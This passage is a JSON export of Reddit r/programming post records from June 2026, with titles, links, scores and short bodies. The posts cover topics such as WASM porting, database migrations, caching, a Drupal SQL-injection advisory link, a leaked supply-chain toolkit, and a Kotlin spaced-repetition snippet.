  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u3oe0b",
  "url": "https://tolgee.io/blog/building-a-plugin-system-for-tolgee-without-a-runtime-storage-or-shared-js-context",
  "permalink": "https://www.reddit.com/r/programming/comments/1u3oe0b/building_a_plugin_system_for_tolgee_using_iframes/",
  "title": "Building a plugin system for Tolgee using iframes, webhooks, and decorators",
  "body": null,
  "author": "hiIAmJan",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.7,
  "numComments": 1,
  "createdAt": "2026-06-12T07:25:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tolgee.io/blog/building-a-plugin-system-for-tolgee-without-a-runtime-storage-or-shared-js-context",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u3lgnf",
  "url": "https://ernesernesto.github.io/writes/portingmatchmorphosistowasm/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u3lgnf/ported_my_c_game_to_wasm_heres_everybug_that_i_hit/",
  "title": "Ported my C game to WASM, here's everybug that I hit",
  "body": null,
  "author": "ernesernesto",
  "subreddit": "programming",
  "score": 157,
  "upvoteRatio": 0.95,
  "numComments": 34,
  "createdAt": "2026-06-12T04:43:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ernesernesto.github.io/writes/portingmatchmorphosistowasm/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u3gqaa",
  "url": "https://medium.com/@mitko.n/less-is-more-b388580ca48c",
  "permalink": "https://www.reddit.com/r/programming/comments/1u3gqaa/less_is_more/",
  "title": "Less Is More",
  "body": null,
  "author": "PlaneSufficient2245",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 10,
  "createdAt": "2026-06-12T00:50:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@mitko.n/less-is-more-b388580ca48c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u3bhgy",
  "url": "https://www.hackster.io/news/giulio-zausa-s-mmo-chip-makes-reverse-engineering-old-silicon-chips-a-multiplayer-game-23a16b68d73b",
  "permalink": "https://www.reddit.com/r/programming/comments/1u3bhgy/giulio_zausas_mmochip_makes_reverse_engineering/",
  "title": "Giulio Zausa's MMO-CHIP Makes Reverse Engineering Old Silicon Chips a Multiplayer Game",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.91,
  "numComments": 0,
  "createdAt": "2026-06-11T21:06:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.hackster.io/news/giulio-zausa-s-mmo-chip-makes-reverse-engineering-old-silicon-chips-a-multiplayer-game-23a16b68d73b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u3aab9",
  "url": "https://www.akamai.com/blog/security-research/cve-2026-9082-mitigating-critical-sql-injection-drupal",
  "permalink": "https://www.reddit.com/r/programming/comments/1u3aab9/drupal_sql_codeinjection_vulnerability_why_does/",
  "title": "Drupal SQL Code-Injection Vulnerability - Why does it still exist?",
  "body": "Even with decades of documentation, SQL Code Injection remains a top threat. Train your developers and TPMs!\n\n  \n",
  "author": "casaaugusta",
  "subreddit": "programming",
  "score": 46,
  "upvoteRatio": 0.79,
  "numComments": 15,
  "createdAt": "2026-06-11T20:20:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.akamai.com/blog/security-research/cve-2026-9082-mitigating-critical-sql-injection-drupal",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u38a2j",
  "url": "https://openrun.dev/blog/service-binding/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u38a2j/service_bindings_automated_database_access_for/",
  "title": "Service Bindings: Automated Database Access for Apps",
  "body": "Service binding is a feature which allows apps to get an isolated schema/database on a shared Postgres or MySQL. This post explain how it works.",
  "author": "avkijay",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.92,
  "numComments": 2,
  "createdAt": "2026-06-11T19:06:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://openrun.dev/blog/service-binding/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u388tg",
  "url": "https://archestra.ai/blog/drizzle-migration-linter",
  "permalink": "https://www.reddit.com/r/programming/comments/1u388tg/why_drop_column_breaks_rolling_deploys_and_a_ci/",
  "title": "Why DROP COLUMN breaks rolling deploys, and a CI linter to catch it",
  "body": "Author here. We kept writing migrations that were fine as a final schema but unsafe during the rollout itself - old pods still reading a column while new pods have already dropped it.\n\nDjango solved this ages ago with django-migration-linter, which I leaned on for years on Grafana OnCall.\n\nDrizzle has nothing like it, so we wrote one for our CI. It diffs new migrations against the base branch and fails on drops, renames, and required columns added in one step.  \n\n\nIt’s buried in our monorepo right now. There’s an issue linked in the post if you’d want it published to npm.",
  "author": "joey-archestra",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.65,
  "numComments": 4,
  "createdAt": "2026-06-11T19:04:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://archestra.ai/blog/drizzle-migration-linter",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u32766",
  "url": "https://www.chiply.dev/post-emacs-svg-benchmark",
  "permalink": "https://www.reddit.com/r/programming/comments/1u32766/emacs_svg_benchmark_reveals_gamingcaliber_frame/",
  "title": "Emacs SVG Benchmark Reveals Gaming-Caliber Frame Rates",
  "body": null,
  "author": "misterchiply",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.66,
  "numComments": 4,
  "createdAt": "2026-06-11T15:25:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chiply.dev/post-emacs-svg-benchmark",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u30h1w",
  "url": "https://www.ilograph.com/blog/posts/more-common-diagram-mistakes/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u30h1w/7_more_common_mistakes_in_architecture_diagrams/",
  "title": "7 More Common Mistakes in Architecture Diagrams",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 305,
  "upvoteRatio": 0.88,
  "numComments": 39,
  "createdAt": "2026-06-11T14:21:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ilograph.com/blog/posts/more-common-diagram-mistakes/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u2xzzk",
  "url": "https://javatechonline.com/spring-boot-redis-cache-example/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u2xzzk/to_handle_performance_issues_integrate_redis_with/",
  "title": "To handle performance issues, Integrate Redis with Spring Boot instead of scaling servers",
  "body": "A lot of developers rely on scaling servers to handle performance issues, but often, the real bottleneck is just fetching the exact same data from the database over and over again.\n\nIf you are dealing with read-heavy APIs and want to reduce redundant database queries, Integrate Redis caching into a Spring Boot application using Spring Data Redis.\n\nA lot of developers manually manage cache states, but Spring’s cache abstraction makes it incredibly simple to handle with just a few annotations on your service layer.\n\nIf you want to see the full implementation including the application properties configuration, the Redis Cache Manager setup, and the complete REST controller code, you can check out the full write-up here: [Implementing Redis Caching in Spring Boot](https://javatechonline.com/spring-boot-redis-cache-example/).",
  "author": "erdsingh24",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.29,
  "numComments": 0,
  "createdAt": "2026-06-11T12:43:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://javatechonline.com/spring-boot-redis-cache-example/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u2mue3",
  "url": "https://mail.openjdk.org/archives/list/jdk-dev@openjdk.org/message/AIA3O3LHFZ6T7TIPH7KZT4WS4B6U72U5/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u2mue3/jep_401_being_merged_into_jdk_28/",
  "title": "JEP 401 being merged into JDK 28?",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 75,
  "upvoteRatio": 0.88,
  "numComments": 16,
  "createdAt": "2026-06-11T02:47:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mail.openjdk.org/archives/list/jdk-dev@openjdk.org/message/AIA3O3LHFZ6T7TIPH7KZT4WS4B6U72U5/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u29255",
  "url": "https://c3-lang.org/blog/0_8_1_raiding_the_stdlib_for_bugs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u29255/c3_081_released_raiding_the_stdlib_for_bugs/",
  "title": "C3 0.8.1 released: Raiding the stdlib for bugs",
  "body": null,
  "author": "Nuoji",
  "subreddit": "programming",
  "score": 53,
  "upvoteRatio": 0.83,
  "numComments": 13,
  "createdAt": "2026-06-10T17:34:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://c3-lang.org/blog/0_8_1_raiding_the_stdlib_for_bugs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u1zb27",
  "url": "https://positive-intentions.com/docs/projects/dim/dim-jsx-webcomponents",
  "permalink": "https://www.reddit.com/r/programming/comments/1u1zb27/reactjs_syntax_for_web_components/",
  "title": "ReactJS Syntax For Web Components",
  "body": "Im investigating an idea i had about JSX for webcomponents after some experience with Lit. I am sharing this here because it might be interesting/educational for someone, if it isnt, let me know and i'll remove the post.\n\nLit is a nice lightweight UI framework, but i didnt like that it was using class-based components.\n\nVue has a nice approach but i prefer working with the syntax that React uses. I find it more intuitive for debugging and deterministic rendering. I wondered if with webcomponents, i could create a UI framework that didnt need to be transpiled.\n\n* [How its built](https://positive-intentions.com/docs/projects/dim/dim-jsx-webcomponents)\n* [Checkout the code](https://github.com/positive-intentions/dim)\n* [Storybook demo](https://dim.positive-intentions.com/)\n\n(My intentions with this framework is to get to a reasonable level of stability, to then replace React on some of my existing projects.)\n\nIMPORTANT: Im not trying to promote \"yet another ui framework\", this is an investigation to see what is possible. You should not use this framework in your own code. It is not production-ready. It is not on NPM. Im not looking for another framework to replace React (im trying to create it). This framework is intended for myself on my own projects. This project is far from finished. Feel free to reach out for clarity if you have any questions.",
  "author": "Accurate-Screen8774",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 3,
  "createdAt": "2026-06-10T11:20:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://positive-intentions.com/docs/projects/dim/dim-jsx-webcomponents",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u1t9yi",
  "url": "https://fagnerbrack.com/the-smart-dumb-programmer-a69b57634e87",
  "permalink": "https://www.reddit.com/r/programming/comments/1u1t9yi/the_smart_dumb_programmer/",
  "title": "The Smart Dumb Programmer",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.32,
  "numComments": 33,
  "createdAt": "2026-06-10T05:40:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/the-smart-dumb-programmer-a69b57634e87",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u1ahi4",
  "url": "https://leetarxiv.substack.com/p/discrete-diffusion-modelling-by-estimating",
  "permalink": "https://www.reddit.com/r/programming/comments/1u1ahi4/inferencing_text_diffusion_models_in_python_and_c/",
  "title": "Inferencing Text Diffusion Models in Python and C",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.61,
  "numComments": 0,
  "createdAt": "2026-06-09T16:44:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/discrete-diffusion-modelling-by-estimating",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u194jv",
  "url": "https://newsletter.signoz.io/p/how-to-read-distributed-traces-when",
  "permalink": "https://www.reddit.com/r/programming/comments/1u194jv/how_to_read_distributed_traces_when_you_didnt/",
  "title": "How to read distributed traces when you didn’t write the code",
  "body": null,
  "author": "elizObserves",
  "subreddit": "programming",
  "score": 23,
  "upvoteRatio": 0.87,
  "numComments": 0,
  "createdAt": "2026-06-09T15:57:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.signoz.io/p/how-to-read-distributed-traces-when",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u1512l",
  "url": "https://safedep.io/inside-the-miasma-supply-chain-attack-toolkit/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u1512l/someone_actually_leaked_the_miasma_supply_chain/",
  "title": "someone actually leaked the Miasma supply chain attack toolkit source code on github",
  "body": "we saw that multiple github repos name as Miasma-Open-Source-Release started appearing yesterday which was pushed by a compromised developer accounts. then we pulled the source to dig deeper. And calling it a worm would be very small its kind of a complete supply chain framework you can see which is having `ARCHITECTURE`.md integration test etc. so it was kind of a product.  \nARCHITECTURE.md  was saying that it requires no C2 infrastructure and not have to deal with takedowns or maintaining infrastructure. it just stolen github PATs is only what is necessary.",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 243,
  "upvoteRatio": 0.94,
  "numComments": 18,
  "createdAt": "2026-06-09T13:29:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/inside-the-miasma-supply-chain-attack-toolkit/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u149mq",
  "url": "https://plain.jxd.dev/blog/realtime",
  "permalink": "https://www.reddit.com/r/programming/comments/1u149mq/how_we_sync_postgres_to_the_browser_electricsql/",
  "title": "How we sync Postgres to the browser: ElectricSQL for rows, Yjs for documents",
  "body": null,
  "author": "jxd-dev",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.7,
  "numComments": 1,
  "createdAt": "2026-06-09T12:58:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://plain.jxd.dev/blog/realtime",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u12rbh",
  "url": "https://staniks.github.io/articles/catlantean-3d-blog-1/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u12rbh/catlantean_3d_making_graphics_like_its_1993/",
  "title": "Catlantean 3D - Making Graphics Like It's 1993",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 104,
  "upvoteRatio": 0.95,
  "numComments": 5,
  "createdAt": "2026-06-09T11:51:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://staniks.github.io/articles/catlantean-3d-blog-1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u10n7z",
  "url": "https://andersmurphy.com/2026/06/07/sqlite-improving-performance-with-pre-sort.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u10n7z/sqlite_improving_performance_with_presort/",
  "title": "SQLite improving performance with pre-sort",
  "body": null,
  "author": "andersmurphy",
  "subreddit": "programming",
  "score": 329,
  "upvoteRatio": 0.96,
  "numComments": 64,
  "createdAt": "2026-06-09T10:01:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://andersmurphy.com/2026/06/07/sqlite-improving-performance-with-pre-sort.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u0w9bc",
  "url": "https://kyle.au/blog/nosdesk-backend-rust",
  "permalink": "https://www.reddit.com/r/programming/comments/1u0w9bc/120000_lines_of_rust_inside_the_nosdesk_backend/",
  "title": "120,000 Lines of Rust: Inside the Nosdesk Backend",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.55,
  "numComments": 3,
  "createdAt": "2026-06-09T05:43:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kyle.au/blog/nosdesk-backend-rust",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u0vb76",
  "url": "https://engineeringatscale.substack.com/p/cache-stampede-distributed-locking",
  "permalink": "https://www.reddit.com/r/programming/comments/1u0vb76/cache_stampede_prevention_distributed_locking/",
  "title": "Cache Stampede Prevention: Distributed Locking, Pub/Sub, and Request Coalescing",
  "body": null,
  "author": "Local_Ad_6109",
  "subreddit": "programming",
  "score": 113,
  "upvoteRatio": 0.95,
  "numComments": 8,
  "createdAt": "2026-06-09T04:53:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://engineeringatscale.substack.com/p/cache-stampede-distributed-locking",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u0nnjp",
  "url": "https://robinsiep.com/blog/posts/go-logs/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u0nnjp/an_opinionated_logging_setup_in_go/",
  "title": "An opinionated logging setup in Go",
  "body": null,
  "author": "Mellowww",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.29,
  "numComments": 0,
  "createdAt": "2026-06-08T22:57:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://robinsiep.com/blog/posts/go-logs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u0m4sm",
  "url": "https://mostafa.dev/building-a-detection-layer-on-postgresql-with-sigma-rules-042caeb42b2a?source=friends_link&sk=d2e407f7fa902a63d91513a65ff64ab4",
  "permalink": "https://www.reddit.com/r/programming/comments/1u0m4sm/building_a_detection_layer_on_postgresql_with/",
  "title": "Building a Detection Layer on PostgreSQL with Sigma Rules",
  "body": null,
  "author": "Happycodeine",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.9,
  "numComments": 0,
  "createdAt": "2026-06-08T21:56:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mostafa.dev/building-a-detection-layer-on-postgresql-with-sigma-rules-042caeb42b2a?source=friends_link&sk=d2e407f7fa902a63d91513a65ff64ab4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u0epow",
  "url": "https://www.architecture-weekly.com/p/you-can-fork-a-package-but-can-you",
  "permalink": "https://www.reddit.com/r/programming/comments/1u0epow/you_can_fork_a_package_but_can_you_own_it/",
  "title": "You can fork a package, but can you own it?",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 84,
  "upvoteRatio": 0.92,
  "numComments": 5,
  "createdAt": "2026-06-08T17:32:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/you-can-fork-a-package-but-can-you",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u09rah",
  "url": "https://leetarxiv.substack.com/p/why-compilers-rarely-use-strassens-algorithm",
  "permalink": "https://www.reddit.com/r/programming/comments/1u09rah/why_compiler_engineers_rarely_use_strassens/",
  "title": "Why Compiler Engineers Rarely Use Strassen's Algorithm for Fast Matrix Multiplications",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 217,
  "upvoteRatio": 0.9,
  "numComments": 54,
  "createdAt": "2026-06-08T14:36:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/why-compilers-rarely-use-strassens-algorithm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u09npb",
  "url": "https://irfanali.org/blog/repmin",
  "permalink": "https://www.reddit.com/r/programming/comments/1u09npb/poor_mans_time_machine_lazy_evaluation_in/",
  "title": "Poor Man's Time Machine: Lazy Evaluation in JavaScript and Haskell",
  "body": null,
  "author": "sayyadirfanali",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.76,
  "numComments": 0,
  "createdAt": "2026-06-08T14:32:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://irfanali.org/blog/repmin",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u098uy",
  "url": "https://gitpush--force.com/commits/2026/06/lies-we-tell-ourselves-about-email/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u098uy/lies_we_tell_ourselves_about_email_addresses/",
  "title": "Lies We Tell Ourselves About Email Addresses",
  "body": null,
  "author": "theghostofm",
  "subreddit": "programming",
  "score": 278,
  "upvoteRatio": 0.93,
  "numComments": 92,
  "createdAt": "2026-06-08T14:17:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gitpush--force.com/commits/2026/06/lies-we-tell-ourselves-about-email/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u089ai",
  "url": "https://thehackernews.com/2026/06/vs-code-adds-2-hour-extension-auto.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u089ai/vs_code_adds_2hour_extension_autoupdate_delay_to/",
  "title": "VS Code Adds 2-Hour Extension Auto-Update Delay to Limit Supply Chain Attacks",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 826,
  "upvoteRatio": 0.97,
  "numComments": 110,
  "createdAt": "2026-06-08T13:40:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thehackernews.com/2026/06/vs-code-adds-2-hour-extension-auto.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u06itn",
  "url": "https://blog.andr2i.com/posts/2026-06-08-optimization-catalog-when-float-division-beats-integer-division",
  "permalink": "https://www.reddit.com/r/programming/comments/1u06itn/hot_path_optimization_when_float_division_beats/",
  "title": "Hot path optimization. When float division beats integer division",
  "body": "I've started a series of short blog posts about hot path optimizations. This first one covers a counterintuitive optimization: replacing integer division (`IDIVQ`) with floating-point division (`DIVSD`).",
  "author": "watman12",
  "subreddit": "programming",
  "score": 147,
  "upvoteRatio": 0.95,
  "numComments": 36,
  "createdAt": "2026-06-08T12:30:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.andr2i.com/posts/2026-06-08-optimization-catalog-when-float-division-beats-integer-division",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u04bdc",
  "url": "https://cekrem.github.io/posts/native-elm/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u04bdc/native_elm_the_real_kind_this_time_cekremgithubio/",
  "title": "Native Elm (the real kind this time) · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 39,
  "upvoteRatio": 0.77,
  "numComments": 21,
  "createdAt": "2026-06-08T10:45:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/native-elm/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u013qa",
  "url": "https://medium.com/@realmerlyn/the-day-i-decided-never-to-learn-python-2c59d1a1edc5",
  "permalink": "https://www.reddit.com/r/programming/comments/1u013qa/the_day_i_decided_never_to_learn_python/",
  "title": "The Day I Decided Never to Learn Python",
  "body": null,
  "author": "Active-Fuel-49",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.28,
  "numComments": 15,
  "createdAt": "2026-06-08T07:40:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@realmerlyn/the-day-i-decided-never-to-learn-python-2c59d1a1edc5",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tzxrpz",
  "url": "https://play.google.com/store/apps/details?id=com.pixelcraftlabs.algoscroll",
  "permalink": "https://www.reddit.com/r/programming/comments/1tzxrpz/building_a_spaced_repetition_system_that_adapts/",
  "title": "Building a spaced repetition system that adapts to user pace in real-time (Kotlin/Compose)",
  "body": "I built a flashcard app for interview prep and wanted to share some of the more interesting technical problems I ran into. The app has 1500+ questions across DSA and System Design, and the core challenge was: how do you order cards intelligently without it feeling robotic?\n\n**Problem 1: Slot Assignment for Spaced Repetition**\n\nStandard SR (like Anki) just shows the most overdue card next. That works for vocabulary but feels terrible for algorithms because you get 3 Hard questions in a row and want to quit.\n\nMy approach: generate a target difficulty pattern (Easy, Medium, Easy, Medium, Hard, repeat) based on a 40/40/20 distribution, then assign due cards to matching-difficulty slots. Most-overdue cards get placed first within their tier. Unseen cards fill remaining slots.\n\nThis means a Hard card that's overdue still lands in a Hard slot, not position 1. You get difficulty variety while still seeing overdue cards at the right time.\n\n    fun assignSlots(pool: List<Question>, dueCards: List<ProgressEntity>): List<Question> {\n        val pattern = generatePattern(size = pool.size, distribution = \"40/40/20\")\n        val dueByDifficulty = dueCards.groupBy { it.difficulty }\n        val result = Array<Question?>(pattern.size) { null }\n    \n        \n    // Place due cards in matching slots, most overdue first\n        for ((difficulty, cards) in dueByDifficulty) {\n            val sorted = cards.sortedBy { it.nextReviewDate }\n            val availableSlots = pattern.indices.filter { pattern[it] == difficulty && result[it] == null }\n            sorted.zip(availableSlots).forEach { (card, slot) -> result[slot] = findQuestion(card, pool) }\n        }\n    \n        \n    // Fill remaining with unseen\n        \n    // ...\n    }\n    \n\n**Problem 2: Re-ranking after every swipe without jank**\n\nAfter each swipe, the deck needs to re-rank. But the top visible card (position 0) is already animating into view, so you can't move it. Solution: lock position 0, re-rank positions 1+, then check for constraint violations across the boundary (e.g., if 